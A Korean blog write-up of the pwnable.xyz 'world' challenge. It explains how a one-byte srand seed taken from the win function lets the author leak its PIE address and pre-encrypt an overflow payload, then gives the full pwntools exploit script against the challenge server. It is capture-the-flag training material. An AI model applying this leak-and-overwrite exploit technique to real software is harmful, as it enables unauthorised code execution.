pwn/pwnable.xyz
pwnable.xyz / world
lok2h4rd
2022. 5. 28. 03:22
공격 루트는 금방 알았는데 파이썬을 못해서 오래 걸렷다...
srand의 seed값을 변경 기능, plaintext 암호화 기능, 암호문 출력기능이 존재한다
bof가 터지고 입력한 암호문을 출력해주는 기능이 존재하지만 0x80만을 출력하기 때문에 릭이 불가능하다
하지만 do_seed함수에는 srand을 설정할 때 win함수의 1byte 값을 가지고하기 때문에 1byte srand에 해당하는 고정된 rand값을 알 수 있기 때문에 이를 릭해낼 수 있다
암호화도 단순히 입력한 문자열를 1byte씩 랜덤한 1byte와 더하는 작업을 수행한다
PIE가 설정된 win함수를 릭한 뒤에 다음 encryption에 쓰일 byte를 알아내어서 payload의 각 byte과 빼준 뒤 ret를 win함수로 덮었다
from pwn import *
#context.log_level = "debug"
p = remote("svc.pwnable.xyz", 30040)
#p = process("./world")
#gdb.attach(p)
def set_seed():
p.recvuntil(b"> ")
p.sendline(b"1")
def encrypt(data):
p.recvuntil(b"> ")
p.sendline(b"2")
p.recvuntil(b"plaintext: ")
p.sendline(data)
def print_text():
p.recvuntil(b"> ")
p.sendline(b"3")
p.recvuntil(b"t: ")
byte = int.from_bytes(p.recv(1), "big")
return byte - 1
def find_byte(byte, rand_arr):
i = 0
arr = []
while True:
if i > 0xff:
return arr
if byte == rand_arr[i][0]:
arr.append(i)
i += 1
def real_arr(arr, rand_arr):
table = []
for i in range(3):
encrypt(b"\x01")
table.append(print_text())
for i in range(len(table)):
for j in range(len(arr)):
if table[i] != rand_arr[arr[j]][i + 1]:
del arr[j]
break
return arr[0]
rand_arr = []
r = process("./random")
for i in range(0x100):
arr = []
for j in range(100):
arr.append(int(r.recvline(), 16))
rand_arr.append(arr)
r.close()
seed = 0x67
win_arr = []
win_idx = 5
for i in range(7):
seed_arr = []
idx = 1
encrypt(b"\x01")
byte = print_text()
seed_arr = find_byte(byte, rand_arr)
win_byte = real_arr(seed_arr, rand_arr)
idx += 3
print(f"win[{seed & 7}] : {hex(win_byte)}")
win_arr.append(win_byte)
if win_idx != -1 and rand_arr[win_byte][idx] & 7 != win_idx:
encrypt(b"\x01")
while True:
idx += 1
if rand_arr[win_byte][idx] & 7 == win_idx:
seed = rand_arr[win_byte][idx]
win_idx -= 1
break
else:
encrypt(b"\x01")
else:
seed = rand_arr[win_byte][idx]
win_idx -= 1
set_seed()
encrypt(b"\x01")
byte = print_text()
seed_arr = find_byte(byte, rand_arr)
win_byte = real_arr(seed_arr, rand_arr)
idx += 4
encrypt_byte = rand_arr[win_byte][4]
payload = bytes([(0x41 - encrypt_byte) & 0xff]) * 0x98
for i in range(len(win_arr), 0, -1):
payload += bytes([(win_arr[i - 1] - encrypt_byte) & 0xff])
encrypt(payload)
p.recvuntil(b"> ")
p.sendline(b"0")
p.interactive()